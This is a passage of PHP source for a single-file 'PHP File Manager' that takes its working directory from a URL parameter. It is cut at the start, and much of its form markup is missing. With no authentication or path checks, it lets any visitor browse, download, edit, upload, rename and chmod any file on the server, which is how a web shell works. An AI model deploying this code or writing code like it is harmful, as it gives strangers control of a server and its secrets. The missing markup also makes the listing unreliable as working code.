Listing: $dir"; echo ""; } function upload_file($dir) { if (isset($_FILES['upload'])) { $file_name = basename($_FILES['upload']['name']); $dest = $dir . '/' . $file_name; if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) { echo "

Upload success: $file_name

"; } else { echo "

Upload failed!

"; } } echo <<
Upload file:
FORM; } function create_file($dir) { if (isset($_POST['newfile'])) { $newfile = $_POST['newfile']; file_put_contents($dir . '/' . $newfile, ''); echo "

File created: $newfile

"; } echo <<
New file name:
FORM; } function create_folder($dir) { if (isset($_POST['newfolder'])) { $newfolder = $_POST['newfolder']; mkdir($dir . '/' . $newfolder); echo "

Folder created: $newfolder

"; } echo <<
New folder name:
FORM; } function edit_file($dir, $file) { $filepath = $dir . '/' . $file; if (isset($_POST['content'])) { file_put_contents($filepath, $_POST['content']); echo "

File saved: $file

"; } $content = htmlspecialchars(file_get_contents($filepath)); echo <<

Editing: $file


FORM; } function rename_file($dir) { if (isset($_POST['oldname']) && isset($_POST['newname'])) { $old = $dir . '/' . $_POST['oldname']; $new = $dir . '/' . $_POST['newname']; rename($old, $new); echo "

Renamed: {$_POST['oldname']} -> {$_POST['newname']}

"; } echo <<
Old name: New name:
FORM; } function chmod_file($dir) { if (isset($_POST['file']) && isset($_POST['perm'])) { $file = $dir . '/' . $_POST['file']; chmod($file, octdec($_POST['perm'])); echo "

CHMOD success: {$_POST['file']} -> {$_POST['perm']}

"; } echo <<
File/Folder: Permission (e.g. 0755):
FORM; } $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); if (isset($_GET['file'])) { $file = $_GET['file']; edit_file($dir, $file); } elseif (isset($_GET['download'])) { $file = $_GET['download']; $filepath = $dir . '/' . $file; if (file_exists($filepath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($filepath).'"'); header('Content-Length: ' . filesize($filepath)); readfile($filepath); exit; } else { echo "File not found!"; } } else { echo "

PHP File Manager

"; echo "

Current Directory: $dir

"; list_dir($dir); upload_file($dir); create_file($dir); create_folder($dir); rename_file($dir); chmod_file($dir); } ?>